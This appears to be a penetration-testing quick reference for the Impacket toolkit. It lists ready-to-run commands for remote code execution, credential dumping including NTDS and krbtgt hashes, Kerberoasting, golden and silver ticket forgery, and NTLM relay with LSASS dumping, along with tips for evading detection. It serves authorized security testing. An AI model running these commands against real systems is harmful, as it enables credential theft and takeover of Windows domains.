Last reviewed

Quick Reference

Python tools for Windows network protocols and Active Directory attacks. Install: pipx install impacket (or use the Fortra fork for active maintenance).

Authorized Testing Only

Impacket tools execute remote code, dump credentials, and forge Kerberos tickets. They are heavily detected by EDR/SIEM and can disrupt production services. Use only with explicit written authorization. For OPSEC, consider -no-pass, custom service names (-service-name), and avoiding the noisy default share (ADMIN$).

🖥️ Remote Execution

PSExecpsexec.py DOMAIN/user:pass@TARGET
PSExec w/ hashpsexec.py DOMAIN/user@TARGET -hashes :NTLM
WMIExecwmiexec.py DOMAIN/user:pass@TARGET
SMBExecsmbexec.py DOMAIN/user:pass@TARGET
ATExecatexec.py DOMAIN/user:pass@TARGET "cmd"
DCOMExecdcomexec.py -object MMC20 DOMAIN/user:pass@TARGET

PSExec=Service | WMI=No file | DCOM=MMC/Shell

🔐 Credential Dumping

Remote secretssecretsdump.py DOMAIN/user:pass@TARGET
With hashsecretsdump.py DOMAIN/user@TARGET -hashes :NTLM
NTDS only (DC)secretsdump.py DOMAIN/admin:pass@DC -just-dc
Specific usersecretsdump.py ... -just-dc-user krbtgt
From local SAMsecretsdump.py -sam SAM -system SYSTEM LOCAL
From NTDSsecretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

🎫 Kerberos Attacks

Get TGTgetTGT.py DOMAIN/user:pass -dc-ip DC_IP
TGT w/ hashgetTGT.py DOMAIN/user -hashes :NTLM -dc-ip DC_IP
KerberoastGetUserSPNs.py DOMAIN/user:pass -dc-ip DC_IP -request
AS-REP RoastGetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip DC_IP
Request STgetST.py -spn cifs/TARGET -impersonate admin DOMAIN/user:pass
Use ticketexport KRB5CCNAME=admin.ccache
Pass ticketpsexec.py -k -no-pass DOMAIN/admin@TARGET

🎟️ Ticket Operations

Golden Ticketticketer.py -nthash KRBTGT_HASH -domain-sid SID -domain DOMAIN admin
Silver Ticketticketer.py -nthash SVC_HASH -domain-sid SID -domain DOMAIN -spn cifs/target admin
kirbi → ccacheticketConverter.py ticket.kirbi ticket.ccache
ccache → kirbiticketConverter.py ticket.ccache ticket.kirbi
Describe ticketdescribeTicket.py ticket.ccache

📁 SMB Operations

SMB clientsmbclient.py DOMAIN/user:pass@TARGET
List sharesshares (interactive)
Use shareuse SHARE (interactive)
Get fileget filename (interactive)
Put fileput local remote (interactive)
SMB serversmbserver.py SHARE /path/to/share
SMBv2 serversmbserver.py -smb2support SHARE /path

📂 LDAP & AD Queries

Get AD usersGetADUsers.py DOMAIN/user:pass -dc-ip DC_IP -all
Find delegationfindDelegation.py DOMAIN/user:pass -dc-ip DC_IP
LDAP searchldapsearch -x -H ldap://DC -b "DC=domain,DC=local"
lookupsidlookupsid.py DOMAIN/user:pass@TARGET
samrdumpsamrdump.py DOMAIN/user:pass@TARGET

🔄 NTLM Relay

Basic relayntlmrelayx.py -t TARGET
Relay to LDAPntlmrelayx.py -t ldap://DC --escalate-user USER
Dump secretsntlmrelayx.py -t TARGET --dump-lsass
Execute cmdntlmrelayx.py -t TARGET -c "whoami"
Target listntlmrelayx.py -tf targets.txt
Responderresponder -I eth0

🔧 Other Useful Tools

Registryreg.py DOMAIN/user:pass@TARGET query -keyName HKLM\\...
Servicesservices.py DOMAIN/user:pass@TARGET list
RPC maprpcdump.py TARGET
MSSQL clientmssqlclient.py DOMAIN/user:pass@TARGET
Kerberos infogetKerberoastableUsers.py DOMAIN/user:pass@DC